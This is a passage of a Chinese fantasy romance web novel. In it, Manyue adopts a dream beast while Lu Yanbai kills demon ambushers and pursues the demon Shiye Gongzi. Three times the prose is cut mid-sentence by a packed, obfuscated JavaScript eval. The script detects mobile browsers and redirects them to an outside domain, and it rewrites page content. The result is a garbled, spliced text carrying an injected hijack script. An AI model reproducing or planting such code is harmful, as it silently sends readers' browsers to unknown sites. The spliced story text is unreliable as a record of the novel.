满月彻底顾不上陆宴白,专心陪它玩了起来。她将剩余吃不完的果子都给了它,还发出一些指令。这家伙体型虽大,却并不笨拙,反而灵活得很。 织梦兽似是知道满月很喜欢它,愈发来了劲。 她们一起玩了很久,玩得满月都有点累了,可这大家伙却丝毫没有离开的意思。 她这才渐渐感觉到有点不对劲。 满月抬头瞧向陆宴白,语气带着不确定:“它……是不是想跟着我们?” 陆宴白没看她,只淡淡扫了眼她身后的织梦兽,语气凉凉的:“不行。” 织梦兽听懂了他话中驱赶的意味,忽然停止了撒娇的举动,趴伏下来,以一种臣服的姿势对着满月,四只眼睛同时眨了眨,晶莹剔透的泪滴滚落下来,化成了绿色的火萤四散。 满月瞧着眼前这不可思议的一幕怔住了。 她后知后觉反应过来,这家伙好像真的不是寻常的妖兽。 它……不会就是织梦兽的本体吧? 织梦兽见她迟疑,原地打了个滚,再次用自己毛茸茸的大脑袋使劲蹭她,喉咙里发出委屈的呜咽,一副铁了心不想离开的赖皮模样。 满月却有点宕机了。 她好像无意之中惹了一个不小的麻烦。 织梦兽确实很可爱,但是怎么说呢……它毕竟现在还是堕仙手下的上古妖兽,她就这么把它拐跑…… 满月求救似的再度看向陆宴白。 陆宴白弯起眼睛,眼里却没有多少笑意:“这种时候想起我了?” 满月心虚起来,她也没想到这会是织梦兽啊。 不过—— 满月怀疑道:“……你是不是早就知道它的身份了?” 陆宴白未置可否。 自从这个大家伙出现后,满月的全部注意力都被它吸引了去,这让陆宴白莫名有了一丝极为罕见的不爽,甚至隐隐产生了欲除之后快的杀心。大概也是提前预料到可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆宴白眉眼弯弯,态度却很是绝情:“不可能。” 他不杀它都算好的了,怎么可能留下它。 满月眼睛里的光一下熄灭了。 “可是我看它身上好像没有封印,也许,也许不会连累到我们呢?”满月抬起头,再次看向陆宴白,眼睛圆圆的,带着明显的恳求意味。 陆宴白本已到了嘴边的拒绝,在看到她这副表情时却微妙地顿住了。 他垂下眼眸,跃动的火光将他浓密的长睫在眼睑下方投下一小片深深的阴影,掩去了其中一闪而过的复杂神色。 那种烦躁的感觉又来了。 满月对目前的处境还是有自知之明的,这么麻烦别人终归不太好,更别说这人还是阴晴不定的陆宴白。 她挣扎了一下,决心还是退后一步:“那……就让它在这里待一晚上,天亮再让它走,可以吗?” 陆宴白淡漠地看她一眼,不知为何,这个折中的提议反而让他看起来更不爽了,周身的气压都似乎更低了一些。 饶是陆宴白自己也有点意外他会有这样的反应。 为什么? 难道是因为她没有继续求他? 还是因为她认定他肯定不会答应她。 可不管是因为什么,陆宴白都很不喜欢这种被人牵制的感觉。 得快点找到那个花妖才行。 最终他没什么表情地轻点了一下头,随即不再理会她和那只仍在抽噎的巨兽,有一搭没一搭往火堆里扔着枯枝,仿佛对篝火产生了极大的兴趣。 满月丝毫没在意他不同以往的情绪变化,得到准许,她立刻欢喜地搂住了织梦兽的脖子,开心地和它贴贴脸颊。 虽然只有一晚上,但也足够慰藉了。 织梦兽大概也明白这已是目前所能争取到的最好结果,不再流泪,只是低低叫了两声,便温顺地趴伏在她身边,像个巨大的银色守护神。 夜深了,满月依偎在织梦兽温暖柔软的腹部沉沉睡去。 迷迷糊糊睡到半夜,天边骤然传来一声撕裂苍穹的惊雷。 紧接着雷声滚滚而来,震得整个山林仿佛都在颤抖。 满月从睡梦中被惊醒,她揉着惺忪的眼坐起身。 只见远处半边天空都被诡异的红光所笼罩,即使林木如此茂密,也遮挡不住那骇人的景象,将整个森林映照得一片血红。满月从未见过如此大的阵仗,仿佛末日降临。 “怎么回事?”她走到陆宴白身边,声音带着刚醒的懵然。 织梦兽也感受到了不安,发出低低的呜咽,紧跟在满月身边。 陆宴白早就醒了,他半倚在树上,仰头瞧着天边,红光映在他脸上明灭不定。 他侧过头,目光在她写满困惑和惊骇的脸上停留了一瞬,语气莫测:“天劫。” 语毕他视线下移,织梦兽似是感觉到他的目光,往后缩了缩。 天劫。 天劫……? 满月怔住了。 在她的印象里,原著中唯一能引发天劫的人只可能是堕仙。 可堕仙不是一向利用命魂珠躲避天劫吗?怎么会…… 一个不合预期的想法悄然浮上水面。 难道……命魂珠已经不在堕仙手中了? 满月看向了陆宴白。 64. 062 陆宴白垂眸看向满月,瞳孔之中倒映着她惊讶的模样,他嘴角微动,刚要说话,却忽然抬起头,眉梢几不可察地挑了一下,视线敏锐地略过她身后深不可测的密林深处。 下一刻,他就单手抱住她的腰身,往自己怀里一带。 满月猝不及防撞进他的怀中,鼻尖萦绕着他身上清冽的气息,还没反应过来发生了什么,就听见数道尖锐的破空之声擦着她的后背划过。 淬着寒光的箭矢深深钉入他们身旁的树干中。 陆宴白一手紧护着满月,另一只手抬起,修长如玉的手指在空中疾速划动,繁复而耀眼的金色符文瞬间凝成。那符文光芒大盛,竟让后续射来的箭矢硬生生停滞在半空之中,如同撞上了一堵无形的墙壁。 下一瞬,他指尖轻点。 那些悬置半空的箭矢仿佛被赋予了生命般,以比来时更快的速度,猛地倒射回去。 林间暗处顿时传来数声惨叫,利刃贯穿血肉的闷响清晰可闻,几道黑影从茂密的树冠间重重摔落在地,扬起一片尘土,挣扎了几下便不再动弹。 陆宴白扫了一眼地上的尸体,唇角缓缓勾起一抹极淡的笑容,黑瞳中闪烁着某种愉悦的光芒。 终于来了吗?他可是等了很久了。 满月的脸还贴在陆宴白的胸口,甚至能够感受到他四平八稳的心跳声。察觉到外界的攻击似乎停止了,她挣脱开束缚从他的怀里出来,刚惊魂未定地站稳脚步,就看到不远处横七竖八趴伏着十数具尸体,皆是方才藏匿于林间的偷袭者。 怎么突然多出来这么多人? 陆宴白瞥了眼将才抱过她的手,莫名觉得心间空落落的,像是遗失了什么重要的东西似的。 他蹙了下眉。 天边的惊雷还在继续,映得半边天际恍如白昼,而另外一半则被浓稠如墨的乌云严密笼罩,明暗交织的光线下,林中的杀机愈发显得诡谲难测。 第一批埋伏的妖还未展开真正的攻势就被轻易瓦解。 可不给他们喘息的机会,紧接着,更多的黑影如同鬼魅般从林间深处窜了出来,源源不断,无声无息,只有刀剑的寒光与各色妖术的微光在昏暗中闪烁跳跃,从四面八方围拢上来。 满月下意识掐动妖诀,指尖刚泛起微光,金字真言已如利剑迸射而出,撕裂夜幕,精准地将最前方扑来的妖当胸穿透。 那妖物甚至连惨叫都未能发出,便轰然倒地。 今天的陆宴白好像和以往有些不一样,下手格外狠,直接粗暴,根本不给那些偷袭他们的妖留下任何活路。 “你先走。”陆宴白一面对付着前赴后继杀之不尽的妖物,一面将一叠蕴含着强大灵力的符箓塞到满月手里。 满月握紧手中符箓,神色复杂地抬头看向他。 “前面再过不远有处破庙,你在那里等我。”他语速不快,却带着不容置疑的决断。 满月知道自己修为低微,留下来非但帮不上忙,反而可能成为他的拖累,便也不废话,点头应了下来。 一旁的织梦兽感知到她的去意,银白色的庞大身躯立刻伏低下,似乎在邀请她上来。 满月没有犹豫,手脚并用地爬上了织梦兽宽厚温暖的背脊,双手紧紧抓住它颈侧厚实的长毛。 干净清爽的味道萦绕在鼻息,让满月找回了一点真切的感觉。 织梦兽立刻迈开四肢奔跑起来。它的速度远比满月想象中要快得多,强烈的颠簸和风压骤然袭来,若非她提早抓住了它的毛发,只怕就要摔下去。 它边跑,无数的绿色荧火边从它身体析出。后方有几个漏网之鱼试图追上来,刚一靠近,便被绿荧团团围住。他们的眼神瞬间变得空洞迷茫,动作僵直呆愣在原地,显然是被强制拖入了梦境之中。 满月摸摸织梦兽的头,愈发抱紧了它。 也不知道能困住他们多久。 虽然早就知道他们被堕仙的手下找到是迟早的事,但这一切也来得太快太凶猛了,她甚至还没从天劫的变故中完全回过神来。 织梦兽一路疾驰,也不知奔出了多远,直到隐约看见前方密林深处露出一段残破的围墙轮廓,那应该就是陆宴白所说的破庙。 身后也没有了追兵的踪影,满月稍稍松了口气。 可就在这时,前方一棵古树的阴影下,一道颀长的人影缓缓步出,恰好拦在了她的必经之路上。 满月神色一凛,急忙让织梦兽停了下来。 那人一袭华服,姿态闲雅,面上带着温柔款款的微笑,眼神却像毒蛇般黏腻,阴森地锁定在她身上。 十夜公子。 满月悄悄攥紧了藏在手里的符箓。 十夜公子眼波流转,似笑非笑看着她,声音轻柔得令人毛骨悚然:“我的小美人儿,你真是,让我好找啊。 * 艳妖赶来禁林时,并不是预想中激烈的战况,相反,四周一片死寂,很安静,安静到有些诡异。 她身后的犬妖鼻翼耸动,嗅到了空气中浓郁的血腥气,当即按捺不住杀意,想先扑入林中查探。 “慢着。”艳妖抬起手,以异常凌厉的态度制止了他。 她眉眼间极为难得地闪过一丝凝重,眼神锐利地扫过眼前那片异常安静的黑暗。 天边的天劫已经持续了半个时辰,相比于一开始的激烈,已经疲软了下来,只时不时地闪过几道无声惊雷,这让这片异常安静的黑暗愈加显得危机四伏。 她率先踏入林中。脚下原本松软的泥土变得异常粘稠湿滑,每走一步都陷下去,浓重的血腥味直冲上来,让人反胃。 正当时,天边一道惊雷闪过,透过枝叶缝隙,照亮了林间。 眼前的景象让艳妖的心猛地一沉。 林中空地,已是一片尸山血海。 而惊雷之下,身形清隽的蓝衣少年站在堆积如山的尸骸上,金瞳淡漠地望向她,除了脸上沾到的一两滴鲜血外,没有分毫战斗过的痕迹,纤尘不染到仿佛独立于这片血腥的屠场。 艳妖看着这极具冲击力的一幕,心头微震。 别看陆宴白他们在梦境里待了很久,对应到外界现实,其实才刚刚过去三天。 这三天,艳妖度日如年,每一刻都像在油锅中煎熬。毕竟这玄都观的小修士是从她手里逃走的,按律她当领受极刑,若非密云城那边的祭祀将开,人手不够,主上不可能这么轻易就放过她。 所以虎妖一回报在禁林发现了他的踪迹,她就马不停蹄带人赶了过来,可是禁林是主上修行的地方,他们一向甚少踏足,耽误了不少工夫。 不过好在还是赶上了。 这是她唯一将功补过的机会。她绝不能失手。 艳妖额上的花钿闪烁了一下,仿佛与她的心绪呼应。她手腕一翻,一柄缠绕着浓郁死气的黑色长鞭凭空出现,鞭身仿佛由无数痛苦哀嚎的怨魂凝聚而成,嘶嘶作响,散发出令人作呕的腐朽气息。 “你终于来了”蓝衣少年从堆成小山的尸首上纵身一跃,轻飘飘落了地,动作从容优雅,像是已经等了她很久似的。 艳妖眸光一凛,杀意汹涌。 她不与他废话,手腕翻转间,沾染着浓郁死气的长鞭宛如一条暴起的毒蛇,直取陆宴白的心口。 陆宴白却是不闪不避,他静静注视着她,唇边挂着一抹似是而非的笑,白皙脸颊上溅到的那一两滴鲜血在夜色中格外刺目,为他平添了几分妖异残忍的美感。 就在长鞭距他分毫之距,玄冰以惊人之势从长鞭末端一路往上延伸,冻住了大半,硬生生悬置了她的进攻。 艳妖一怔,显然没料到自己的攻势会这么轻易地被化解。但她反应极快,立刻运转体内妖力,一翻手,强行破开了玄冰。 旁边的虎妖犬妖瞅准这个时机,带着各自的手下从左右两翼猛地扑了过来,利爪与獠牙闪烁着寒光,试图偷袭。 陆宴白身形未动,只微微抬眸,金瞳之中无波无澜,澄澈如琉璃,映着他们的身影。 霎时,一股无形的力道自他周身荡开,扑上来的虎妖、犬妖及其一众手下,连惨叫都未能发出,就重重砸落在四面的树木上,筋骨断裂声清晰可闻,顷刻间生死未卜。 艳妖亦是被这股力量震得手腕发麻,她心头不禁涌起些不安,总觉得他的实力似乎要比之前强了许多,又或者,上一次他根本是有意隐瞒了真正的实力。 陆宴白眉眼弯弯,那笑容极为好看,语气却薄凉得很,不带任何情绪:“我今日没什么兴致和你打。” 艳妖冷冷一笑,强行压下心中的惊惧:“这可由不得你。” 言罢她鞭子一抖,死气再次汇聚。 她深知眼前的人深不可测,不敢再有所藏私。 这条鞭子是主上赏赐给她的,可驾驭鬼物。 她全力挥动长鞭,周身妖力涌出,地面骤然裂开了道口子,数只漆黑枯骨组成的鬼物从中爬了出来,身上散发着死气,鬼啸着扑向陆宴白。 陆宴白身形一晃,下一刻瞬移般消失在了原地,只剩那些鬼物收势不及,扑向了留在原地的金字真言。 金字真言金光骤现,立时将那些鬼物涤净荡平。 然而,地底裂缝中的鬼物还是层出不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201980|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穷向外攀爬,仿佛没有尽头。 艳妖忙又祭出了一面巴掌大的铜镜,镜面朦胧,如水波纹般荡漾不定。 这面镜子名叫摄魂镜,同样是主上赐予她的神器,若能被映在镜中,便可暂时摄人魂魄,即便只能定住他一瞬,也足够那些鬼物将他吞噬殆尽。 可是那镜面剧烈波动,光芒闪烁,却迟迟映不出蓝衣少年的模样。 怎会如此。 艳妖惊骇万分,心里犹如翻江倒海,一股寒意从脚底直窜头顶。这摄魂镜是主上亲自加持过的,上面残留着主上的无上法力,寻常修士根本无力抵抗,若非实力与她相当,不可能照不出来…… 不及她细想,摄魂镜却忽然发出一声不堪负重的哀鸣,镜面霎时布满了裂纹,灵光尽散。 艳妖不可置信瞪大了眼,瞳孔中写满了惊愕与恐惧。 摄魂镜,碎了。 与此同时,金字真言穿透铜镜,只取她眉心。 艳妖仰身一躲,却还是没躲过去,不过金字真言在击中她前,不知何故收了力道,只在她额头上划开一道血口,鲜血涔涔而下,染红了她的眉眼,额间的花钿也变得黯淡无光。 艳妖这才惊觉自己错得离谱。 这个修士很强,不是一般的强,别说是她,就算十夜在这里和她一起联手,也未必有任何胜算。 她强忍住惧意现了妖相,忍痛咬破舌尖,喷出一口精血于空中,那精血并未散去,而是迅速化作一个繁复的血色图案。 刹那间,以陆宴白为中心,地面上骤然浮现出一个巨大的血色莲花,那是由妖力凝成,莲花层层叠叠绽放,每一片花瓣都闪烁着蛊惑人心的邪异光芒,浓郁到令人作呕的香气弥漫开来,不仅能扭曲视觉,更能直接侵蚀修士的元神,令其沉沦于最深的欲念幻境之中。 地上的妖兵尸体飘起缕缕死气,如百川入海般被吸入血莲之中,使其光芒愈盛。 她在利用死者残存的死气增强幻阵。 这已是她最后的保命手段,但她很清楚,这根本不可能制服他,她只想用这幻阵多拖一会儿,哪怕只是几息的工夫,也能为她争取到一丝逃命的机会。 陆宴白身处血莲正中心,周遭景象剧变,他不再身处林间,仿佛置身于一个洞穴内,无数花妖幻化而成的妖娆身影缠绕上来,靡靡之音不绝于耳,试图撩拨起他最原始的欲望。 陆宴白金色的瞳孔中依旧平波无澜,甚至带着一丝不耐烦。 他抬手,将指间的符箓掷了出去。 金光一现,万千幻象骤然破灭。 那血莲是艳妖用自己心头血铸就的法阵,血莲一破,她遭到巨大的反噬,当即喉头一甜,一口鲜血喷了出来,摔倒在地上再也爬不起来。 陆宴白今天的确格外烦躁,毫无耐心。 这种烦躁积压在心里已经很久了,若放在平时,他或许还有闲心和他们周旋着玩一玩,现在却只剩下杀戮的欲望在心头翻腾,经久不息。 他弯眼笑起,头顶的乌云不知何时已散去了大半,一轮清冷的圆月渐渐显露了出来,与旁边逐渐式微的惊雷形成鲜明对照,将他整个人映得半明半暗,鬼气森森,这副模样落在艳妖眼中,就像地狱归来的罗刹那样可怖。 她知道自己逃不了了。 在巨大的实力差距面前,她连挣扎的心都生不起来。 怪就怪她太小看了他。 陆宴白缓步走至她面前,他居高临下看着她,眼中满是淡漠,终于说出了自己的目的:“解药给我。” “什,什么解药?”艳三方瞧着蓝衣少年,生平第一次,在除堕仙以外的人身上感受到了某种让灵魂都为之颤栗的恐惧。 陆宴白言简意赅:“情花毒。” 艳三方一愣,万没想到是这个。 是了,当时她确实趁他不注意用情花打在了,可是…… 她看着蓝衣少年,颤抖着,有些不确定地开口解释道:“情花毒的效果只会维持一天,一日之后即散,所以,所以并没有解药……” 她话音未落,少年脸上的笑容竟罕见地消失了一瞬。 须臾,他弯起眼睛,笑容比之前愈加温柔。 “你说什么?”他语气亲昵,如同对待挚友。 “我……”巨大的压迫感笼罩下来,艳三方也不知道哪句话得罪他了,可她明白这种情况下不能妄图说谎隐瞒过去,否则一定死得比现在还惨,“我说,情花毒没有解……” 最后一个字尚未出口,金字真言就贯穿了她的身体。 莲花妖睁大着眼,表情永远定格在了那一刻。 65. 063 只剩下一张了。 满月背靠着一棵三人合抱粗细的古树,喘息着,攥紧了手里的符箓。 身后,十夜公子那不紧不慢的脚步声如同附骨之疽,怎么都摆脱不掉。他低笑着,带着不怀好意的戏谑:“藏好了?藏好了我可要来找你了。” 织梦兽发出阵阵低吼,替她拦住了大部分追击的妖兵。 幸运的是,艳妖带走了大部分人手,他们的压力相对之下没有那么大。 不巧的是,十夜公子的本体是金桂树妖,密林正好是他发挥实力的绝佳场所。无数灵活的枝条如同他的触手般,从四面八方袭来。满月一面要艰难地应对着他的正面进攻,一面还得极度警惕地躲避着那些从意想不到角度直刺而来的枝条,左支右绌,狼狈不堪。 满月紧贴着古树,视线余光瞥见左右两侧同时有黝黑的枝条横穿而来,她连忙向侧后方闪身一躲,却不想后面还有埋伏,带着尖刺的枝条打在她背上,震得她眼前一黑,左腿一软半跪在地上。 还未等她缓过气,一双绣着精致祥云纹的皂黑靴子便步入了她低垂的视线中。十夜公子微微弯腰,用一柄冰冷的玉骨折扇,轻佻地挑起了她的下颌,迫使她抬起头。 “你好像比先前长进了不少。”十夜公子笑着,笑意却不达眼底,“你还能活着从那个幻境出来,真是让我没想到。” 更没想到的,她竟然带着织梦兽一起。不过那只蠢货身上没了主上的封印,力量少说折损一大半,已不足为惧。 满月摇摇有些发晕的脑袋,又闻到那股甜腻的桂花味道,比之前更加浓郁。她皱紧了眉头,只觉浑身乏力,妖力运转也刚才更为滞涩,立刻明白了自己身陷囹圄的真正原因。 “你身上的香味有毒?”她不可置信看着他。 太不讲武德!!! 她就说几天没见,十夜公子怎么好像比之前厉害了这么多,完全没料到他还有这一手。 单论跑路能力,再加上手里的符箓,如果不是他用了这种阴损下作的手段,她早就脱身了。 十夜公子扯扯嘴角,没有回答,只慢条斯理地用折扇拍拍她的脸颊,语气仿佛在讨论一件物品的归属:“你还是多想想你自己吧。我该那你怎么办好呢?出了这种事,带你回去是不可能了。” 讲着,他的折扇沿着她的脸颊下滑,移到了她纤细的脖子上,声音依旧温柔,却如毒蛇吐信:“就这么杀掉的话,公子我又实在于心不忍。你啊你啊,我对你还不够好吗?你若不跑,我倒真考虑给你个夫人的名分。” 满月一听他这种好似恩赐一样的语气就来气,她一边攥好藏在手心的符箓,一边笑了起来:“那还是算了吧,我不喜欢脸长得,嗯,太过妖艳的男人,有点上不了台面。” 十夜公子脸上的笑容霎时褪个干干净净。 他抬手掐住她的脸,指甲几乎陷进她的皮肉里,语气中的温柔瞬间被一种阴冷的恨意所取代:“你说什么?” 满月感受到一股强烈的杀气。她越发攥紧符箓,等待着最佳的出手时机。她就知道十夜公子这样自恋的人最在意自己那副皮囊,从他明明没必要,却定期在密云城办庙会登台就看得出。他有多享受众人对他美貌的追捧和朝拜,就有多害怕会被人轻视他苦心经营的容颜。 要让一个人尽快露出破绽,最好的方法就是用他最在意的事情激怒他。 “我说,你长得不好看。”满月直视着他,她的眼神太过清澈,以至于她的话好像真的很有说服力,“还有你身上的桂花香太难闻了,怎么会有人用这种香料……” 十夜公子冷冷地盯着她,手没动,眼中却杀意毕现。 满月攥着符箓的手因为太过用力而微微发抖。 半晌,十夜公子却没有动手,反而重新笑了起来。 “你这么说,一定只是想故意惹我生气吧。”十夜公子一手掐着她的脸,一手怜爱地摸了摸自己的,“你不也曾对我这张脸着迷过吗?怎么可能会觉得难看。我知道,你定然是气我这段时间冷落了你,所以才这样说。可惜你千不该万不该找上那修士。那修士终归是人族,和你并非同类。不过若你肯乖乖认个错,我倒是可以考虑替你求情……” 满月睁圆了眼,听着这荒谬至极的言论,甚至都不知道该怎么反驳。 她还是太低估了十夜公子的自恋程度。在他看来,他的美貌毋庸置疑的,她根本不可能发自内心这样觉得,肯定是另有所图。 满月服了。 面对一个深井冰,她能有什么办法。 她万念俱灰,正考虑着要不要将符箓直接扔出去给彼此一个痛快,一道金光骤然袭来,快到完全没有反应时间,精准无误地擦过十夜公子的掐着满月的那只手。 血光迸现。 满月只来得及闭了下眼,就感觉到有温热的东西溅在了自己脸上。 而十夜公子甚至都没感到疼痛,就被生生削下半边手掌。 “啊——” 待他反应过来,那金光犹如游龙一样攀上他的脖颈,爆发出恐怖的力量,将他猛地拖拽出去,重重砸落在远处的灌木丛中。 满月这时才看到金光的真身。 金字真言! 满月倏然抬头,蓝衣少年已是从高处的树冠轻盈跃下。 一直紧绷着的心弦终于松懈下来。 她倒是不担心陆宴白会打不过对方,但却担心他会出于利益考量将她丢在这里一个人走掉。 陆宴白屈膝半跪在她身前,满月看他模样还算干净,知道他赢得轻松,忙问出自己一直惦记着的事:“你拿到通行——” 令字未出口,她脸色一变:“小心!” 陆宴白头也不回,金字真言在空中兜了一圈回来,正好与他身后袭来的尖锐树枝相撞。 树枝立时被炸得粉碎,花粉裹挟着木屑四散而飞,那股甜腻的金桂香气却愈发浓烈。 满月想起金桂香的事,忙从自己袖子上扯下一块布条,捂住了陆宴白的口鼻:“不要闻,他是金桂树妖,这香气有毒。” 她动作极快,柔软微凉的指尖不经意碰触到他的脸,让原本杀意凛然的陆宴白几不可察地僵了一下,明显愣了一愣。 满月这时才后知后觉地发现,陆宴白似乎有点不对劲。 他从刚刚到现在,一句话都没有说过,脸上也没了平日里那种玩世不恭的笑,只是沉默地看着她,周身散发着一种比平时更为沉郁的低气压。 她没由来地忐忑起来:“怎么了?” 陆宴白看着她,金瞳之中倒映着她的模样。 她白皙的脸颊上沾染了不少血,发髻被打乱了,整个人分明狼狈不堪,可那双眼睛,那双像花瓣一样的漂亮眼睛,却依旧那么亮。 他的心情糟糕透顶。 来的一路上,他想了很多,艳妖临死前的话打乱了他所有的计划,像一根刺,让他不得不正视自己心里那一份存在已久,却被他刻意忽视的陌生情绪。那牵制着,操控着他的情绪不是因为情花毒,而是因为她。理智告诉他,最好的办法就是杀掉她,一了百了,以永绝后患。 可他心中汹涌着的杀意,在真正看见她的那一刻,竟奇异地骤然平息了下来,内心的烦躁仿佛被什么东西轻轻抚平,取而代之的是另一种更为汹涌的欲念,陌生又熟悉。 满月见他一直不动,也不说话,就这样莫名其妙地看着自己,实在奇怪。她举着布条的手臂有点酸了,只得无奈道:“要不,你自己拿着?” 陆宴白却没接过,他瞧着她,片刻抬起手,冰冷的指尖带着一丝不易察觉的轻柔,在她的鼻尖上轻轻点了一下。 一股灵力荡开,困扰着她的那股甜腻到令人头晕目眩的金桂气息瞬间被隔绝开来,再也闻不到了。 “好神奇。”满月惊讶,呼吸了一口重新变得清新的空气,忍不住感叹,“你们玄都观还教这种法术吗?” 她实名羡慕了。 陆宴白没有解释术法都是一通百通这回事,他将心头那股因她碰触而升起的古怪情绪强行压了下去,视线落在她血迹斑斑的腿上,之前的攻击让尖锐的木刺在她的小腿上划开一道口子,深可见骨,鲜血不断渗出,染红了裙摆和鞋袜。 陆宴白轻蹙了下眉,满月以为他是觉得嫌麻烦,生怕被抛下,赶忙证明自己不是累赘,可刚一站起,钻心的剧痛就从伤口窜起,她身体一软,险些又摔回地上。 就在她失衡的瞬间,陆宴白却忽然俯下身,直接将她打横抱了起来。 满月没想到他会这么做,吓了一跳,身体的骤然悬空,让她下意识伸手环住了他的脖颈,以防掉下去。 她很少和他如此亲近地接触,整个人在他怀里,鼻息间满是清冽如雪松一样的冷香。 满月心跳得很快,浑身上下不自在地僵硬着。她想要错身和他拉开些距离,至少不要贴得那么近,陆宴白却低头在她耳边道:“抱紧些,摔下去我可不负责。” 满月深知这人恶劣的性格,唯恐他真的这么做,连忙向前抱紧了他。 她的身体紧挨过来,反而让他像是被什么东西灼了一下似的,心剧烈地跳动起来,杀意与欲念一同升起,心却飘着久不落地。 他手上稍稍用力,将她贴近自己。 她的发丝蹭到他的下颌。杏子糕的香甜混合着血腥气,丝丝缕缕钻了过来,无比牵动着他的心神。 陆宴白一面抱着她走,一面感受着心底那种陌生的感觉,他有点抗拒,但似乎并不排斥。 倒是满月还算清醒,总觉得他们似乎忘记了什么重要的事。 仿佛察觉到他们要离去,身后原本静止的树木枝条忽然像是被注入了生命一般,向他们快速袭来。 想起来了。 十夜公子还活着! 这次不用满月出声提醒,陆宴白挂在腰间的漂亮铃铛轻晃一下,清音一动,数道金字真言迸发,将枝条齐齐斩断。 陆宴白抱着满月转过身,十夜公子已从灌木丛中爬了起来,在他们交谈的时候,他却与金字真言陷入一番苦战,甚至落了下风,原本风流倜傥的白衣染成了血衣,断腕处滴着血,唯有那双眼睛充满了愤怒与怨毒。 “差点忘了你。”陆宴白面无表情,金瞳淡漠地打量他一眼,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214439|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好像比那个花妖还弱。” 满月:…… 好狠。 她差点忘了陆宴白还有戳人专戳肺管子这项技能。 十夜公子眉头死死锁着,脸色难看至极。 看来艳三方真的输了。 这是不曾预想过的最坏结果。 艳三方和他,一个主管十方城,一个主管密云城,艳三方素来有艳将军一称,单论妖力,确实要略胜他一筹。 连她都败在他手下,这少年修士确实不一般。 不过十夜公子并不感到害怕,在他看来,艳三方徒有妖力,脑子却不怎么灵光,真要以命相搏,他未必不如她。 如今她败了,他要是抓到这个少年修士,十方城自然也会落在他手上。 十夜公子眼神发狠,知道这是千载难逢的机会,便也不再保留,控制着一条尖锐的树枝,猛地划破自己的手,鲜血汩汩涌出,他迅速用流淌着鲜血的手拿起那柄玉骨折扇,将其插入地面。 鲜血滴落,妖异的红芒大盛,只听嗡的一声,地底仿佛有什么东西被唤醒了,整个林子都剧烈地晃动起来,天旋地转间,四周的一切景物都如同被水浸湿的墨画般模糊起来。 和那花妖的血莲幻阵很像,这些应该都是那个邪仙赐给他们的神通。 “闭眼。”陆宴白的声音在满月耳边响起。 满月原本因为幻影而动摇的心神立时清醒了过来,她赶紧闭上眼,将脸埋进他胸口。 四面的树木彻底活了过来,扭曲的枝条疯狂生长抽动,像鬼手一般,铺天盖地朝着他们涌来,试图将他们拖入这扭曲的幻阵。 陆宴白抱着满月,身形速度极快地一一闪避过枝条的攻击,他清楚只是与这些树枝缠斗无用,转瞬之间突破层层阻碍,逼近了正在施法的罪魁祸首十夜公子。 十夜公子没想到他被阵法拖着动作还能这么迅捷,愣了下神的工夫,另一条胳膊也险些被削去。 他登时吓得魂飞魄散,急忙狼狈后撤。 这林子毕竟是他的主场,借着幻阵的掩护,十夜公子的身影也如同水墨一般淡去,眼看就要隐匿消失。 陆宴白追了上去。 他速度实在太快,快得周遭万物都成了残影。满月被颠得七荤八素,很想说一句他其实可以不用带着她打架的。 陆宴白似乎察觉到了怀里人的不适,意念一动,放出金字真言继续追踪十夜公子逐渐淡去的气息,他则身形一转,几个起落间,就退回到了焦急守在下面的织梦兽身边。 困着织梦兽的妖兵俱已入梦,睡得不知天地为何物。银白的毛茸茸巨兽没受幻阵的影响,正乖巧地坐在地上,见他们回来,眼睛亮了亮,尾巴摇得欢快。 陆宴白将满月放在它宽厚柔软的背上,留了护身的符箓给她,便再度离去。 没了满月,陆宴白的速度更快。躲藏在幻境中的十夜公子心中惊骇交加,光是对付那道如影随形的金字真言都让他手忙脚乱,再加上陆宴白的的攻击,他身上很快添了数道伤口,与满月的腿伤一样,深可见骨。 可恶!这蓝衣修士到底是什么来头。 十夜公子左闪右躲,身形狼狈不堪。他深知这么下去不是办法,别说抓到这个蓝衣少年,他能不能逃得走都不一定。 可是墨林阵已经用了,这都困不住他能怎么办。 一种前所未有的绝望充斥在他心间。 不知不觉中,他们一个逃一个追已近至禁林边缘。 十夜公子伤势过重,妖力也濒临枯竭,他脚下一个踉跄,被凸起的树根绊倒,狠狠摔在了地上。 他挣扎了几下,却感觉身上散了架一样,再也爬不起来了。 一声铃响。 十夜公子猛然抬头,瞳孔骤缩,他惊恐地发现蓝衣少年不知何时先至,竟然还快他一步。他从阴影与月光的交界处缓步走来,指尖百无聊赖把玩着铃铛,似笑非笑俯视着他。 看着步步向他逼近的蓝衣少年,十夜公子也终于切身体会到了艳妖临死之前的那种深入灵魂的恐惧感。 “别……别杀我!”十夜公子失声尖叫,声音因恐惧而变了调,挣扎着向后挪动,并不比那些惨死在他手下的人姿态更好看,“你要什么东西我都给你!法宝、灵药、秘藏……我知道主上的很多秘密!我都可以告诉你!只求你饶我一命!” 陆宴白彻底失去了和他周旋的兴致,眼前的妖遍体鳞伤,鲜血淋漓,几乎看不出本来模样,比满月惨多了,也不枉费他花了这么多工夫。 毕竟想到满月那一脸的伤他就感到烦躁。 